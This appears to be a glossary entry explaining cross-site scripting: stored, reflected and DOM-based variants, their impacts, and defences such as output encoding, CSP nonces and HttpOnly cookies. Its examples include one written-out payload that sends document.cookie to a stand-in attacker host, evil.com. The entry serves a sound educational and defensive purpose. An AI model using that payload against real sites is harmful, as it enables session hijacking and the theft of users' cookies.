Skip to main content
security

XSS (Cross-Site Scripting)

XSS is a vulnerability where an attacker injects malicious JavaScript into a web page viewed by other users. Stored XSS persists in the database (comments, profiles). Reflected XSS arrives via URL parameters. DOM-based XSS executes entirely client-side. XSS enables session hijacking, credential theft, and defacement.

Definition

Cross-Site Scripting occurs when an application includes untrusted data in its HTML output without proper encoding. If user input containing <script>alert(1)</script> is rendered directly into a page, the browser executes it as if the site itself wrote it. Stored XSS is most dangerous – an attacker posts malicious script into a comment or profile field, and every user who views that page has the script execute in their browser session. The script can steal cookies (document.cookie), redirect to phishing pages, modify page content, or make authenticated API calls as the victim. Prevention requires: output encoding (HTML-entity encode < > & " '), Content Security Policy with nonces (blocks inline scripts), HttpOnly cookies (prevents JavaScript cookie access), and input validation as defense-in-depth. Modern frameworks (React, Vue, Angular) auto-encode output by default – XSS typically occurs when using dangerouslySetInnerHTML or v-html.

Examples

  • Payload: <img src=x onerror=fetch('https://evil.com/steal?c='+document.cookie)>
  • Prevention: textContent instead of innerHTML for user data
  • CSP: script-src 'nonce-random' blocks injected inline scripts

Related Protocols

Related Terms